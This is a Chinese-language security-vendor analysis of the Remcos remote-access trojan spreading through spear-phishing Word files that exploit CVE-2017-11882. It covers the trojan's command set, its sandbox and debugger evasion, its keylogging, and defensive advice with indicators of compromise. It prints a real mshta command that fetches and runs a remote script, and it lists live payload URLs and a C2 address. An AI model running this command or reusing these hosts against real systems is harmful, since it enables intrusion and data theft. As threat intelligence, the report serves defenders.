远程木马

远程木马
登录
注册
新型远控木马Remcos利用CVE-2017-11882漏洞进行实时攻击腾讯电脑管家2018-03-13 首发专栏：腾讯电脑管家关注
近期腾讯安全御见情报中心监测到利用CVE-2017-11882漏洞攻击的事件呈陡增趋势，在攻击洪流中，我们捕获到一款名为Remcos的远控木马通过鱼叉邮件进行传播。
0×1 概况
近期腾讯安全御见情报中心监测到利用CVE-2017-11882漏洞攻击的事件呈陡增趋势，在攻击洪流中，我们捕获到一款名为Remcos的远控木马通过鱼叉邮件进行传播。

Remcos木马是一款较新的远控木马，自2016年下半年开始在黑客论坛公开售卖，其后经过多次版本更新，功能日益强大。此前针对外贸行业的“商贸信”事件中，也曾出现该木马的身影。值得注意的是，同是利用公式编辑器漏洞，Remcos远控木马较之“商贸信”病毒，呈现出“急起直追”的趋势，在近期漏洞攻击事件中表现非常活跃。

1.png
（“Remcos”官网售价情况）

0×2 载荷投递
在未修复CVE-2017-11882漏洞的机器上，双击打开邮件附件中的恶意word文档，公式编辑器会利用mshta.exe执行远程脚本，命令行为“mshta https://d.pr/Wuod3I/d.pr &AAAAAAAAAAAAC”。

2.png

远程脚本中的代码经过了简单的混淆，经过还原后，可以看到关键代码。脚本的主要作用是利用powershell下载和执行new.exe 。

3.png
（还原后的关键代码）

0×3 RAT分析
下载到的木马new.exe为delphi语言编写，经过分析发现该delphi只是用来当壳的，从new.exe中可以dump真正的木马，即商业级的远控木马Remcos，主要功能有远程桌面、键盘记录器、下载和运行程序、文件和注册表等的各种操作，详细介绍请参考https://breaking-security.net/remcos-v1-9-7-released/。

4.png
（木马本尊的图标）

5.png
（商业级远控程序Remcos后台界面）

Remcos启动时会解密资源中的“SETTINGS”项，从而得到服务器ip、木马功能的各种配置项、互斥体名称等。解密后的“SETTINGS”项以“@@”为分隔符，被解析后存入一个数组，以数组的索引当作key,从而方便后续利用key找到相对应的value项。

6.png
（解密后的settings项，pass为网络发包时的默认加密key）

7.png
（用到的mutex名称Remcos开头）

8.png
（用到的注册表项Remcos开头）

9.png
（用到的mutex名称Remcos开头）

10.png
（检测sandbox）

11.png
（检测虚拟机）

12.png
（检测vbox）

13.png
（检测调试）

14.png
（可以通过配置项显示console来打印日志）

15.png
（开启键盘记录器功能）

16.png

（将记录的按键信息存储在%appdata\remcos目录下，文件名为logs.dat）

17.png

（发包时都以“[DataStart]”开头，加密后发送给c2）

18.png

（以“pass”来初始化加密table）

19.png

（加密算法第一部分，初始化加密table的函数）

20.png

（加密算法第二部分，利用加密table去加密）

协议body以”|cmd|”进行分割，分割后的第一个字符串为命令字，比如图中的“addnew”即为命令字。

21.png
（第一个包将计算名、用户名等信息发送给c2）

服务器下发的命令字主要有：

主命令字功能
ping 心跳包
keepaliveoff 在console中打印了一行日志
filemgr 上传本地文件的信息或下载、执行文件
downloadfromurl 下载并打开文件
downloadfromlocal 直接执行指定的文件
getproclist 上报进程列表
Prockill 结束指定的进程
getwindows 上报窗口列表
closewindow 关闭窗口
maxwindow 最大化窗口
restorewindow 恢复窗口
closeprocfromwindow 结束带指定窗口的进程
execcom 利用WinExec执行文件
consolecmd 执行cmd命令
openaddress ShellExecuteW open
initializescrcap 初始化屏幕截图
freescrcap 释放屏幕截图时的相关资源
initklfrm 初始化键盘记录
startonlinekl 开启实时键盘记录
stoponlinekl 停止实时键盘记录
getofflinelogs 上传离线模式下记录的按键信息
autogetofflinelogs 自动获取离线下的按键信息
deletekeylog 删除键盘记录的文件
clearlogins 清除cookies及login信息
getscrslist 上报文件列表信息
dwnldscr 上报存储在本地截图信息
initcamcap 初始化远程桌面时的socket等资源
freecamcap 释放远程桌面时的资源
miccapture 获取播放的声音的信息
stopmiccapture 停止监控声音设备
initpwgrab
deletefile 删除文件
close 结束某进程
uninstall 删除木马安装时的相关信息
updatefromurl 从网上下载并更新木马文件
updatefromlocal 利用已下载好的文件更新木马文件
msgbox 弹框
keyinput 模拟按键
mclick 点击鼠标
OSpower 操作电源按钮
getclipboard 获取剪贴板中的信息
setclipboard 设置剪贴板中的数据
emptyclipboard 清空剪贴板
dlldata 将dll映射进内存
dllurl 将下载的dll映射进内存
initregedit 注册表相关的操作
initchat 初始化聊天相关的功能
renamebck 改注册表中的name项
initsocks 初始化socket
0×4 安全建议
CVE-2017-11882公式编辑器漏洞补丁发布已近半年，攻击者仍亲睐使用此漏洞进行攻击，部分用户因未安装漏洞补丁导致木马入侵成功，在此提醒广大用户应及时使用腾讯电脑管家等安全软件更新系统补丁，以防御漏洞攻击，同时不要打开来历不明的邮件附件。

该木马功能强大、键盘记录、远程桌面、文件、注册表、进程等各种远控功能都有，同时利用了先进的自加载技术来躲避杀毒软件的检测，隐蔽性较高。企业用户可按以下方法进行自查或防范：

1. 该木马会在%appdata%目录下创建名为remcos的隐藏文件夹

2. 该木马会创建名为ros的开机自启动项

3. 根据下文的c2信息检测3440端口的网络连接情况或禁用此端口

腾讯御界高级威胁检测系统基于腾讯反病毒实验室的安全能力，依托腾讯在云和端的大数据，形成了强大且独特的威胁情报和恶意检测模型，凭借基于行为的防护和智能模型两大核心能力，能高效检测未知威胁，并实时阻拦钓鱼邮件、恶意宏文档等攻击方式。

附录（IOCs）:
Md5:
6e421f7c63d9a894546d532d017c604a

48E27626AB41E8569405546360700546

7bfcf044fb11a252a71f0fd1753882ec

0a591617e781ff3722bc2fa716599eae

991F2506786A6B29D254B6D195C656D5

C2:
185.171.25.7
Urls:
https://d.pr/Wuod3I/d.pr

HTTPS://d.pr/Nn9rd2/d.pr/

https://d.pr/fHDdHh/d.pr

https://d.pr/51iOqj/d.pr

https://d.pr/chchxc/d.pr

https://d.pr/yuKlVS/d.pr

关键目录：
%appdata%\ros

%appdata%\remcos

专栏
2

腾讯电脑管家
腾讯电脑管家
201 篇文章
等级： 8级
关注
||
昵称
请输入昵称
必须您当前尚未登录。登陆？注册邮箱
请输入邮箱地址
必须（保密）表情插图
有人回复时邮件通知我
相关推荐
流氓软件Playbox安装目录一式两份刻意欺负非一线城市网民
流氓软件Playbox安装目录一式两份刻意欺负非一线城市网民
腾讯电脑管家发现一款名为Playbox的流氓软件频繁在用户电脑弹出广告，在安装卸载程序上动手脚，安装时会把软件分别写入两个目录。卸载时，会检测用户IP，如果不在北上广深这4个一线城市，Playbox就会卸载一份保留另…

腾讯电脑管家2018-11-141575
“抓鸡狂魔”病毒团伙活动报告
“抓鸡狂魔”病毒团伙活动报告
“抓鸡狂魔” 病毒团伙是一个利用僵尸网络进行违法活动的地下团伙。通常通过鱼叉邮件、下载站传播远程控制木马（如Darkcomet，Njrat等）在全球范围内批量抓肉鸡。控制肉鸡后，收集用户隐私信息、机密文件或者发起DDoS…

腾讯电脑管家2018-11-0760855
披着羊皮的狼：双平台挖矿木马MServicesX分析
披着羊皮的狼：双平台挖矿木马MServicesX分析
这是一个双平台挖矿木马，该木马具有Windows和安卓双平台版本，在中毒电脑和手机上运行门罗币挖矿程序。其Windows版本MServicesX_FULL.exe使用有合法数字签名的文件借助游戏下载站传播，木马的安卓版本则伪装成Yout…

腾讯电脑管家2018-11-0714928
FilesLocker勒索病毒刚一出现，就迫不及待地发展下线
FilesLocker勒索病毒刚一出现，就迫不及待地发展下线
腾讯智慧安全御见威胁情报中心监控到，一个新型C#编写的勒索病毒FilesLocker已开始逐渐蔓延。FilesLocker勒索病毒作者正在大量招募病毒传播代理，一旦具备足够丰富的传播渠道，将会成为企业和个人数据安全的灾难。

文章评论